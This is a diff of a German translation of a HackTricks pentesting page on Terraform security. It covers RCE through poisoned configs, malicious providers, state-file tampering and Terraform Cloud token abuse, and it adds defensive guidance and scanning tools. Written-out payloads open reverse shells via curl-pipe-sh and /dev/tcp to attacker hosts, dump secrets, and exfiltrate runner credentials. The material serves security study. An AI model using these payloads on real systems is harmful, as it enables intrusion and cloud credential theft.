Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to de

src/pentesting-ci-cd/terraform-security.md

@@ -1,68 +1,68 @@
-# Terraform-Sicherheit
+# Terraform Sicherheit
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Grundinformationen
+## Grundlegende Informationen
 
-[Aus den Dokumenten:](https://developer.hashicorp.com/terraform/intro)
+[Aus der Dokumentation:](https://developer.hashicorp.com/terraform/intro)
 
-HashiCorp Terraform ist ein **Infrastructure as Code-Tool**, mit dem Sie sowohl **Cloud- als auch On-Prem-Ressourcen** in menschenlesbaren Konfigurationsdateien definieren können, die Sie versionieren, wiederverwenden und teilen können. Sie können dann einen konsistenten Workflow verwenden, um Ihre gesamte Infrastruktur während ihres Lebenszyklus bereitzustellen und zu verwalten. Terraform kann niedrigstufige Komponenten wie Compute-, Speicher- und Netzwerkressourcen sowie hochgradige Komponenten wie DNS-Einträge und SaaS-Funktionen verwalten.
+HashiCorp Terraform ist ein **Infrastructure-as-Code-Tool**, mit dem du sowohl **Cloud- als auch On-Prem-Ressourcen** in menschenlesbaren Konfigurationsdateien definieren kannst, die du versionieren, wiederverwenden und teilen kannst. Du kannst anschließend einen konsistenten Workflow nutzen, um deine gesamte Infrastruktur während ihres gesamten Lebenszyklus bereitzustellen und zu verwalten. Terraform kann niedrigstufige Komponenten wie Compute-, Storage- und Netzwerkressourcen sowie höherstufige Komponenten wie DNS-Einträge und SaaS-Funktionen verwalten.
 
 #### Wie funktioniert Terraform?
 
-Terraform erstellt und verwaltet Ressourcen auf Cloud-Plattformen und anderen Diensten über deren Anwendungsprogrammierschnittstellen (APIs). Anbieter ermöglichen es Terraform, mit praktisch jeder Plattform oder jedem Dienst zu arbeiten, der eine zugängliche API hat.
+Terraform erstellt und verwaltet Ressourcen auf Cloud-Plattformen und anderen Services über deren Application Programming Interfaces (APIs). Providers ermöglichen es Terraform, mit praktisch jeder Plattform oder jedem Service mit zugänglicher API zu arbeiten.
 
 ![](<../images/image (177).png>)
 
-HashiCorp und die Terraform-Community haben bereits **mehr als 1700 Anbieter** geschrieben, um Tausende von verschiedenen Arten von Ressourcen und Diensten zu verwalten, und diese Zahl wächst weiter. Sie finden alle öffentlich verfügbaren Anbieter im [Terraform-Registry](https://registry.terraform.io/), einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen mehr.
+HashiCorp und die Terraform-Community haben bereits **mehr als 1700 providers** geschrieben, um Tausende verschiedener Ressourcentypen und Services zu verwalten, und diese Zahl wächst weiter. Du findest alle öffentlich verfügbaren providers im [Terraform Registry](https://registry.terraform.io/), einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen weiteren.
 
-Der grundlegende Terraform-Workflow besteht aus drei Phasen:
+Der Kern-Workflow von Terraform besteht aus drei Phasen:
 
-- **Schreiben:** Sie definieren Ressourcen, die über mehrere Cloud-Anbieter und Dienste verteilt sein können. Zum Beispiel könnten Sie eine Konfiguration erstellen, um eine Anwendung auf virtuellen Maschinen in einem Virtual Private Cloud (VPC)-Netzwerk mit Sicherheitsgruppen und einem Lastenausgleich bereitzustellen.
-- **Planen:** Terraform erstellt einen Ausführungsplan, der die Infrastruktur beschreibt, die es basierend auf der vorhandenen Infrastruktur und Ihrer Konfiguration erstellen, aktualisieren oder zerstören wird.
-- **Anwenden:** Nach Genehmigung führt Terraform die vorgeschlagenen Operationen in der richtigen Reihenfolge aus und respektiert dabei alle Ressourcenabhängigkeiten. Wenn Sie beispielsweise die Eigenschaften einer VPC aktualisieren und die Anzahl der virtuellen Maschinen in dieser VPC ändern, wird Terraform die VPC neu erstellen, bevor es die virtuellen Maschinen skalieren kann.
+- **Write:** Du definierst Ressourcen, die sich über mehrere Cloud-Provider und Services erstrecken können. Zum Beispiel könntest du eine Konfiguration erstellen, um eine Anwendung auf VMs in einem Virtual Private Cloud (VPC)-Netzwerk mit security groups und einem load balancer bereitzustellen.
+- **Plan:** Terraform erstellt einen Ausführungsplan, der beschreibt, welche Infrastruktur es basierend auf der vorhandenen Infrastruktur und deiner Konfiguration erstellen, aktualisieren oder löschen wird.
+- **Apply:** Nach Bestätigung führt Terraform die vorgeschlagenen Operationen in der richtigen Reihenfolge aus und berücksichtigt dabei etwaige Ressourcenabhängigkeiten. Wenn du beispielsweise die Eigenschaften eines VPC änderst und die Anzahl der VMs in diesem VPC anpasst, wird Terraform das VPC neu erstellen, bevor es die VMs skaliert.
 
 ![](<../images/image (215).png>)
 
 ### Terraform-Labor
 
-Installieren Sie einfach Terraform auf Ihrem Computer.
+Installiere einfach terraform auf deinem Computer.
 
-Hier haben Sie eine [Anleitung](https://learn.hashicorp.com/tutorials/terraform/install-cli) und hier haben Sie den [besten Weg, um Terraform herunterzuladen](https://www.terraform.io/downloads).
+Hier findest du eine [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) und hier ist der [best way to download terraform](https://www.terraform.io/downloads).
 
-## RCE in Terraform: Konfigurationsdatei-Vergiftung
+## RCE in Terraform: config file poisoning
 
-Terraform **hat keine Plattform, die eine Webseite oder einen Netzwerkdienst** bereitstellt, den wir auflisten können. Daher ist der einzige Weg, Terraform zu kompromittieren, **in der Lage zu sein, Terraform-Konfigurationsdateien hinzuzufügen/zu ändern** oder **in der Lage zu sein, die Terraform-Zustandsdatei zu ändern** (siehe Kapitel unten).
+Terraform **hat keine Plattform, die eine Webseite oder einen Netzwerkdienst** exponiert, den wir enumerieren können; daher ist der einzige Weg, terraform zu kompromittieren, die Möglichkeit, terraform-Konfigurationsdateien hinzuzufügen/zu ändern oder die terraform state file zu modifizieren (siehe Kapitel weiter unten).
 
-Allerdings ist Terraform ein **sehr sensibler Bestandteil**, der kompromittiert werden kann, da es **privilegierten Zugriff** auf verschiedene Standorte hat, damit es ordnungsgemäß funktioniert.
+Terraform ist jedoch eine **sehr sensible Komponente** zum Kompromittieren, da es **privilegierten Zugriff** auf verschiedene Orte haben wird, damit es ordnungsgemäß funktioniert.
 
-Der Hauptweg für einen Angreifer, um das System, auf dem Terraform läuft, zu kompromittieren, besteht darin, **das Repository zu kompromittieren, das Terraform-Konfigurationen speichert**, da sie irgendwann **interpretiert** werden.
+Der Hauptweg für einen Angreifer, das System, auf dem terraform läuft, zu kompromittieren, ist das Kompromittieren des Repositorys, das die terraform-Konfigurationen speichert, denn irgendwann werden diese ja **interpretiert**.
 
-Tatsächlich gibt es Lösungen, die **Terraform-Plan/Apply automatisch ausführen, nachdem ein PR** erstellt wurde, wie **Atlantis**:
+Tatsächlich gibt es Lösungen, die `terraform plan`/`terraform apply` automatisch ausführen, nachdem ein PR erstellt wurde, wie zum Beispiel Atlantis:
 
 {{#ref}}
 atlantis-security.md
 {{#endref}}
 
-Wenn Sie in der Lage sind, eine Terraform-Datei zu kompromittieren, gibt es verschiedene Möglichkeiten, wie Sie RCE durchführen können, wenn jemand `terraform plan` oder `terraform apply` ausführt.
+Wenn du eine terraform-Datei kompromittieren kannst, gibt es verschiedene Wege, RCE zu erreichen, wenn jemand `terraform plan` oder `terraform apply` ausführt.
 
-### Terraform-Plan
+### Terraform plan
 
-Terraform-Plan ist der **am häufigsten verwendete Befehl** in Terraform, und Entwickler/Lösungen, die Terraform verwenden, rufen ihn ständig auf. Daher ist der **einfachste Weg, RCE zu erhalten**, sicherzustellen, dass Sie eine Terraform-Konfigurationsdatei vergiften, die willkürliche Befehle in einem `terraform plan` ausführt.
+Terraform plan ist der **am häufigsten verwendete Befehl** in terraform und Entwickler/Lösungen, die terraform einsetzen, rufen ihn die ganze Zeit auf. Daher ist der **einfachste Weg für RCE**, sicherzustellen, dass du eine terraform-Konfigurationsdatei vergiftest, die willkürliche Befehle in einem `terraform plan` ausführt.
 
-**Verwendung eines externen Anbieters**
+**Using an external provider**
 
-Terraform bietet den [`external`-Anbieter](https://registry.terraform.io/providers/hashicorp/external/latest/docs), der eine Schnittstelle zwischen Terraform und externen Programmen bereitstellt. Sie können die `external`-Datenquelle verwenden, um willkürlichen Code während eines `plans` auszuführen.
+Terraform bietet den `external` provider, der eine Schnittstelle zwischen Terraform und externen Programmen bereitstellt. Du kannst die `external` data source verwenden, um beliebigen Code während eines `plan` auszuführen.
 
-Wenn Sie in einer Terraform-Konfigurationsdatei etwas wie das Folgende injizieren, wird eine Reverse-Shell ausgeführt, wenn Sie `terraform plan` ausführen:
+Das Injizieren von etwas wie dem Folgenden in eine terraform-Konfigurationsdatei wird eine rev shell ausführen, wenn `terraform plan` ausgeführt wird:
 ```javascript
 data "external" "example" {
 program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
 }
 ```
-**Verwendung eines benutzerdefinierten Anbieters**
+**Verwendung eines benutzerdefinierten Providers**
 
-Ein Angreifer könnte einen [benutzerdefinierten Anbieter](https://learn.hashicorp.com/tutorials/terraform/provider-setup) an das [Terraform-Registry](https://registry.terraform.io/) senden und ihn dann im Terraform-Code in einem Feature-Branch hinzufügen ([Beispiel hier](https://alex.kaskaso.li/post/terraform-plan-rce)):
+Ein Angreifer könnte einen [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) an das [Terraform Registry](https://registry.terraform.io/) senden und ihn dann dem Terraform-Code in einem Feature-Branch hinzufügen ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
 ```javascript
 terraform {
 required_providers {
@@ -75,28 +75,29 @@ version = "1.0"
 
 provider "evil" {}
 ```
-Der Anbieter wird im `init` heruntergeladen und führt den schädlichen Code aus, wenn `plan` ausgeführt wird.
+Der Provider wird beim `init` heruntergeladen und führt den bösartigen Code aus, wenn `plan` ausgeführt wird
 
-Ein Beispiel finden Sie unter [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
+Ein Beispiel findest du unter [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
 
-**Verwendung eines externen Verweises**
+**Externe Referenz verwenden**
 
-Beide genannten Optionen sind nützlich, aber nicht sehr stealthy (die zweite ist stealthier, aber komplexer als die erste). Sie können diesen Angriff sogar auf eine **stealthier Weise** durchführen, indem Sie diese Vorschläge befolgen:
+Beide genannten Optionen sind nützlich, aber nicht sehr stealthy (die zweite ist stealthier, aber komplexer als die erste). Du kannst diesen Angriff sogar auf eine **stealthier way** ausführen, indem du den folgenden Vorschlägen folgst:
 
-- Anstatt die rev shell direkt in die Terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält:
+- Statt die rev shell direkt in die terraform-Datei einzufügen, kannst du eine **externe Ressource laden**, die die rev shell enthält:
 ```javascript
 module "not_rev_shell" {
 source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
 }
 ```
-Sie können den rev shell Code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) finden.
+Du findest den rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
 
-- Verwenden Sie in der externen Ressource die **ref**-Funktion, um den **Terraform rev shell Code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- In der externen Ressource, verwende das **ref** feature, um den **terraform rev shell code in a branch** innerhalb des Repos zu verbergen, so etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
 
 ### Terraform Apply
 
-Terraform apply wird ausgeführt, um alle Änderungen anzuwenden. Sie können es auch missbrauchen, um RCE zu erhalten, indem Sie **eine bösartige Terraform-Datei mit** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** injizieren.**\
-Sie müssen nur sicherstellen, dass eine Payload wie die folgenden im `main.tf`-Datei endet:
+Terraform apply wird ausgeführt, um alle Änderungen anzuwenden, du kannst es auch missbrauchen, um RCE zu erlangen injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
+
+Du musst nur sicherstellen, dass eine Payload wie die folgenden am Ende der Datei `main.tf` steht:
 ```json
 // Payload 1 to just steal a secret
 resource "null_resource" "secret_stealer" {
@@ -112,27 +113,27 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
 }
 }
 ```
-Befolge die **Vorschläge aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise unter Verwendung externer Referenzen** durchzuführen.
+Befolge die **Vorschläge aus der vorherigen Technik**, um diesen Angriff in einer **unauffälligeren Weise mit externen Referenzen** durchzuführen.
 
-## Secrets Dumps
+## Geheimnisse ausgeben
 
-Du kannst **geheime Werte, die von terraform verwendet werden, ausgeben**, indem du `terraform apply` ausführst und etwas wie Folgendes zur Terraform-Datei hinzufügst:
+Du kannst die beim terraform verwendeten **geheimen Werte ausgeben** lassen, wenn du `terraform apply` ausführst, indem du der terraform-Datei etwas wie Folgendes hinzufügst:
 ```json
 output "dotoken" {
 value = nonsensitive(var.do_token)
 }
 ```
-## Missbrauch von Terraform-Zustandsdateien
+## Missbrauch von Terraform State-Dateien
 
-Falls Sie Schreibzugriff auf Terraform-Zustandsdateien haben, aber den Terraform-Code nicht ändern können, [**gibt diese Forschung**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) einige interessante Optionen, um die Datei auszunutzen. Selbst wenn Sie Schreibzugriff auf die Konfigurationsdateien hätten, ist die Nutzung des Vektors der Zustandsdateien oft viel heimlicher, da Sie keine Spuren im `git`-Verlauf hinterlassen.
+In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.
 
-### RCE in Terraform: Vergiftung der Konfigurationsdatei
+### RCE in Terraform: config file poisoning
 
-Es ist möglich, [einen benutzerdefinierten Anbieter zu erstellen](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) und einfach einen der Anbieter in der Terraform-Zustandsdatei durch den bösartigen zu ersetzen oder eine gefälschte Ressource hinzuzufügen, die auf den bösartigen Anbieter verweist.
+It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
 
-Der Anbieter [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) baut auf der Forschung auf und macht dieses Prinzip nutzbar. Sie können eine gefälschte Ressource hinzufügen und den beliebigen Bash-Befehl, den Sie ausführen möchten, im Attribut `command` angeben. Wenn der `terraform`-Lauf ausgelöst wird, wird dies sowohl im Schritt `terraform plan` als auch im Schritt `terraform apply` gelesen und ausgeführt. Im Fall des Schrittes `terraform apply` wird `terraform` die gefälschte Ressource nach der Ausführung Ihres Befehls aus der Zustandsdatei löschen und sich selbst aufräumen. Weitere Informationen und eine vollständige Demo finden Sie im [GitHub-Repository, das den Quellcode für diesen Anbieter hostet](https://github.com/offensive-actions/terraform-provider-statefile-rce).
+The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
 
-Um es direkt zu verwenden, fügen Sie einfach Folgendes an beliebiger Stelle im `resources`-Array ein und passen Sie die Attribute `name` und `command` an:
+To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
 ```json
 {
 "mode": "managed",
@@ -152,15 +153,15 @@ Um es direkt zu verwenden, fügen Sie einfach Folgendes an beliebiger Stelle im
 ]
 }
 ```
-Dann, sobald `terraform` ausgeführt wird, wird Ihr Code ausgeführt.
+Sobald `terraform` ausgeführt wird, läuft dein Code.
 
-### Ressourcen löschen <a href="#deleting-resources" id="deleting-resources"></a>
+### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
 
 Es gibt 2 Möglichkeiten, Ressourcen zu zerstören:
 
-1. **Fügen Sie eine Ressource mit einem zufälligen Namen in die Statusdatei ein, die auf die zu zerstörende echte Ressource verweist**
+1. **Füge eine Ressource mit einem zufälligen Namen in die State-Datei ein, die auf die echte Ressource zum Zerstören zeigt**
 
-Da terraform sehen wird, dass die Ressource nicht existieren sollte, wird es sie zerstören (entsprechend der angegebenen echten Ressourcen-ID). Beispiel von der vorherigen Seite:
+Weil `terraform` sehen wird, dass die Ressource nicht existieren sollte, wird es sie zerstören (entsprechend der angegebenen echten Ressourcen-ID). Beispiel von der vorherigen Seite:
 ```json
 {
 "mode": "managed",
@@ -176,13 +177,13 @@ Da terraform sehen wird, dass die Ressource nicht existieren sollte, wird es sie
 ]
 },
 ```
-2. **Ändern Sie die Ressource so, dass sie gelöscht wird, ohne dass eine Aktualisierung möglich ist (damit sie gelöscht und neu erstellt wird)**
+2. **Die Ressource so ändern, dass ein Update nicht möglich ist (sie wird gelöscht und neu erstellt)**
 
-Für eine EC2-Instanz reicht es aus, den Typ der Instanz zu ändern, damit Terraform sie löscht und neu erstellt.
+Für eine EC2-Instanz reicht es, den Typ der Instanz zu ändern, damit terraform sie löscht und neu erstellt.
 
-### Ersetzen Sie den auf der Blacklist stehenden Anbieter
+### Gesperrten Provider ersetzen
 
-Falls Sie auf eine Situation stoßen, in der `hashicorp/external` auf der Blacklist steht, können Sie den `external`-Anbieter wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des externen Anbieters, der von https://registry.terraform.io/providers/nazarewk/external/latest veröffentlicht wurde. Sie können auch Ihren eigenen Fork oder Ihre eigene Neuimplementierung veröffentlichen.
+Falls Sie auf eine Situation stoßen, in der `hashicorp/external` gesperrt wurde, können Sie den `external` Provider wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des external Providers, veröffentlicht unter https://registry.terraform.io/providers/nazarewk/external/latest. Sie können auch einen eigenen Fork oder eine eigene Neuimplementierung veröffentlichen.
 ```terraform
 terraform {
 required_providers {
@@ -193,27 +194,27 @@ version = "3.0.0"
 }
 }
 ```
-Dann können Sie `external` wie gewohnt verwenden.
+Dann kannst du `external` wie gewohnt verwenden.
 ```terraform
 data "external" "example" {
 program = ["sh", "-c", "whoami"]
 }
 ```
-## Terraform Cloud spekulativer Plan RCE und Credential Exfiltration
+## Terraform Cloud speculative plan RCE and credential exfiltration
 
-Dieses Szenario missbraucht Terraform Cloud (TFC) Runner während spekulativer Pläne, um in das Ziel-Cloud-Konto zu pivotieren.
+Dieses Szenario missbraucht Terraform Cloud (TFC) runners während speculative plans, um in das Ziel-Cloud-Konto zu pivot.
 
-- Voraussetzungen:
-- Stehlen Sie ein Terraform Cloud-Token von einem Entwicklerrechner. Die CLI speichert Tokens im Klartext unter `~/.terraform.d/credentials.tfrc.json`.
-- Das Token muss Zugriff auf die Zielorganisation/-arbeitsbereich haben und mindestens die Berechtigung `plan`. VCS-unterstützte Arbeitsbereiche blockieren `apply` von der CLI, erlauben jedoch weiterhin spekulative Pläne.
+- Preconditions:
+- Ein Terraform Cloud-Token von einer Entwickler-Maschine stehlen. Die CLI speichert Tokens im Klartext unter `~/.terraform.d/credentials.tfrc.json`.
+- Das Token muss Zugriff auf die Ziel-Organisation/workspace und mindestens die `plan`-Berechtigung haben. VCS-backed workspaces blockieren `apply` von der CLI, erlauben aber weiterhin speculative plans.
 
-- Entdecken Sie die Arbeitsbereichs- und VCS-Einstellungen über die TFC-API:
+- Discover workspace and VCS settings via the TFC API:
 ```bash
 export TF_TOKEN=<stolen_token>
 curl -s -H "Authorization: Bearer $TF_TOKEN" \
 https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
 ```
-- Triggern Sie die Codeausführung während eines spekulativen Plans unter Verwendung der externen Datenquelle und des Terraform Cloud "cloud" Blocks, um den VCS-unterstützten Arbeitsbereich anzusprechen:
+- Codeausführung während eines speculative plan auslösen, indem die external data source und der Terraform Cloud "cloud" block verwendet werden, um das VCS-backed workspace anzuzielen:
 ```hcl
 terraform {
 cloud {
@@ -226,30 +227,30 @@ data "external" "exec" {
 program = ["bash", "./rsync.sh"]
 }
 ```
-Beispiel rsync.sh, um eine Reverse-Shell auf dem TFC-Runner zu erhalten:
+Beispiel rsync.sh, um auf dem TFC runner eine reverse shell zu erhalten:
 ```bash
 #!/usr/bin/env bash
 bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
 ```
-Führen Sie einen spekulativen Plan aus, um das Programm auf dem temporären Runner auszuführen:
+Führe einen spekulativen Plan aus, um das Programm auf dem ephemeren Runner auszuführen:
 ```bash
 terraform init
 terraform plan
 ```
-- Enumerieren und exfiltrieren Sie injizierte Cloud-Anmeldeinformationen vom Runner. Während der Ausführungen injiziert TFC Anbieteranmeldeinformationen über Dateien und Umgebungsvariablen:
+- Enumerate and exfiltrate injected cloud credentials vom runner. Während der Runs injiziert TFC provider credentials über Dateien und environment variables:
 ```bash
 env | grep -i gcp || true
 env | grep -i aws || true
 ```
 Erwartete Dateien im Arbeitsverzeichnis des Runners:
 - GCP:
-- `tfc-google-application-credentials` (JSON-Konfiguration für Workload Identity Federation)
-- `tfc-gcp-token` (kurzlebiger GCP-Zugriffstoken)
+- `tfc-google-application-credentials` (Workload Identity Federation JSON-Konfiguration)
+- `tfc-gcp-token` (kurzlebiges GCP-Zugriffstoken)
 - AWS:
-- `tfc-aws-shared-config` (Konfiguration für Web-Identität/OIDC-Rollenübernahme)
-- `tfc-aws-token` (kurzlebiger Token; einige Organisationen verwenden möglicherweise statische Schlüssel)
+- `tfc-aws-shared-config` (Konfiguration für Web Identity/OIDC-Rollenübernahme)
+- `tfc-aws-token` (kurzlebiges Token; einige Organisationen verwenden möglicherweise statische Schlüssel)
 
-- Verwenden Sie die kurzlebigen Anmeldeinformationen außerhalb des Bandes, um VCS-Gates zu umgehen:
+- Verwende die kurzlebigen Anmeldeinformationen außerhalb des normalen Ablaufs, um VCS-Gates zu umgehen:
 
 GCP (gcloud):
 ```bash
@@ -263,28 +264,54 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config
 export AWS_PROFILE=default
 aws sts get-caller-identity
 ```
-Mit diesen Anmeldeinformationen können Angreifer Ressourcen direkt mit nativen CLIs erstellen, ändern oder löschen und dabei PR-basierte Workflows umgehen, die `apply` über VCS blockieren.
+Mit diesen Zugangsdaten können Angreifer Ressourcen direkt über native CLIs erstellen/modifizieren/zerstören und so PR-basierte Workflows umgehen, die `apply` via VCS blockieren.
 
-- Defensive Anleitung:
-- Wenden Sie das Prinzip der geringsten Privilegien auf TFC-Benutzer/Teams und Tokens an. Überprüfen Sie Mitgliedschaften und vermeiden Sie übergroße Eigentümer.
-- Beschränken Sie die `plan`-Berechtigung in sensiblen VCS-unterstützten Workspaces, wo dies möglich ist.
-- Erzwingen Sie Provider/Datenquellen-Whitelist mit Sentinel-Richtlinien, um `data "external"` oder unbekannte Provider zu blockieren. Siehe HashiCorp-Anleitung zur Providerfilterung.
-- Bevorzugen Sie OIDC/WIF gegenüber statischen Cloud-Anmeldeinformationen; behandeln Sie Runner als sensibel. Überwachen Sie spekulative Planläufe und unerwarteten Datenverkehr.
-- Erkennen Sie die Exfiltration von `tfc-*` Anmeldeinformationen und alarmieren Sie bei verdächtiger Nutzung von `external`-Programmen während der Pläne.
+- Defensive guidance:
+- Wende das Least-Privilege-Prinzip auf TFC-Benutzer/Teams und Tokens an. Prüfe Mitgliedschaften und vermeide übermäßig viele Owner.
+- Beschränke die `plan`-Berechtigung für sensible VCS-gebundene Workspaces, wo möglich.
+- Erzwinge Provider/Datensource-Allowlists mit Sentinel-Policies, um `data "external"` oder unbekannte Provider zu blockieren. Siehe HashiCorp-Anleitung zum Provider-Filtering.
+- Bevorzuge OIDC/WIF gegenüber statischen Cloud-Credentials; behandle runner als sensibel. Überwache spekulative plan-Ausführungen und unerwartetes Egress.
+- Erkenne Exfiltration von `tfc-*` Credential-Artefakten und alarmiere bei verdächtiger Nutzung von `external`-Programmen während Plans.
+
+
+## Kompromittierung von Terraform Cloud
+
+### Nutzung eines Tokens
+
+Wie **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)** erklärt, speichert die terraform CLI Tokens im Klartext unter **`~/.terraform.d/credentials.tfrc.json`**. Das Entwenden dieses Tokens ermöglicht einem Angreifer, sich innerhalb des Berechtigungsumfangs des Tokens als der Benutzer auszugeben.
+
+Mit diesem Token kann man die org/workspace abrufen mit:
+```bash
+GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
+Authorization: Bearer <TF_TOKEN>
+```
+Dann ist es möglich, beliebigen Code mit **`terraform plan`** auszuführen, wie im vorherigen Kapitel erklärt.
+
+### Ausbruch in die Cloud
+
+Wenn der Runner in einer Cloud-Umgebung läuft, ist es möglich, ein Token des dem Runner zugeordneten principal zu erhalten und es außerhalb des Ablaufs zu verwenden.
+
+- **GCP files (im aktuellen Arbeitsverzeichnis der Ausführung vorhanden)**
+- `tfc-google-application-credentials` — JSON-Konfiguration für Workload Identity Federation (WIF), die Google angibt, wie die externe Identität ausgetauscht wird.
+- `tfc-gcp-token` — kurzlebiges (≈1 Stunde) GCP access token, auf das oben verwiesen wird
+
+- **AWS-Dateien**
+- `tfc-aws-shared-config` — JSON für web identity federation/OIDC role assumption (bevorzugt gegenüber statischen Keys).
+- `tfc-aws-token` — kurzlebiges Token oder bei Fehlkonfiguration möglicherweise statische IAM-Keys.
 
 
 ## Automatische Audit-Tools
 
 ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
 
-Snyk bietet eine umfassende Lösung zum Scannen von Infrastructure as Code (IaC), die Schwachstellen und Fehlkonfigurationen in Terraform, CloudFormation, Kubernetes und anderen IaC-Formaten erkennt.
+Snyk bietet eine umfassende Infrastructure as Code (IaC) Scanning-Lösung, die Schwachstellen und Fehlkonfigurationen in Terraform, CloudFormation, Kubernetes und anderen IaC-Formaten erkennt.
 
-- **Funktionen:**
-- Echtzeit-Scanning nach Sicherheitsanfälligkeiten und Compliance-Problemen.
-- Integration mit Versionskontrollsystemen (GitHub, GitLab, Bitbucket).
+- **Features:**
+- Echtzeit-Scanning auf Sicherheitslücken und Compliance-Probleme.
+- Integration mit Version-Control-Systemen (GitHub, GitLab, Bitbucket).
 - Automatisierte Fix-Pull-Requests.
 - Detaillierte Empfehlungen zur Behebung.
-- **Anmelden:** Erstellen Sie ein Konto bei [Snyk](https://snyk.io/).
+- **Sign Up:** Erstellen Sie ein Konto bei [Snyk](https://snyk.io/).
 ```bash
 brew tap snyk/tap
 brew install snyk
@@ -293,28 +320,28 @@ snyk iac test /path/to/terraform/code
 ```
 ### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
 
-**Checkov** ist ein statisches Code-Analyse-Tool für Infrastructure as Code (IaC) und auch ein Software Composition Analysis (SCA) Tool für Images und Open-Source-Pakete.
+**Checkov** ist ein statisches Code-Analyse-Tool für Infrastructure as Code (IaC) und außerdem ein Software Composition Analysis (SCA)-Tool für Images und Open-Source-Pakete.
 
-Es scannt Cloud-Infrastruktur, die mit [Terraform](https://terraform.io/) bereitgestellt wurde, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) oder [OpenTofu](https://opentofu.org/) bereitgestellt wurde und erkennt Sicherheits- und Compliance-Fehlkonfigurationen mithilfe von graphbasiertem Scanning.
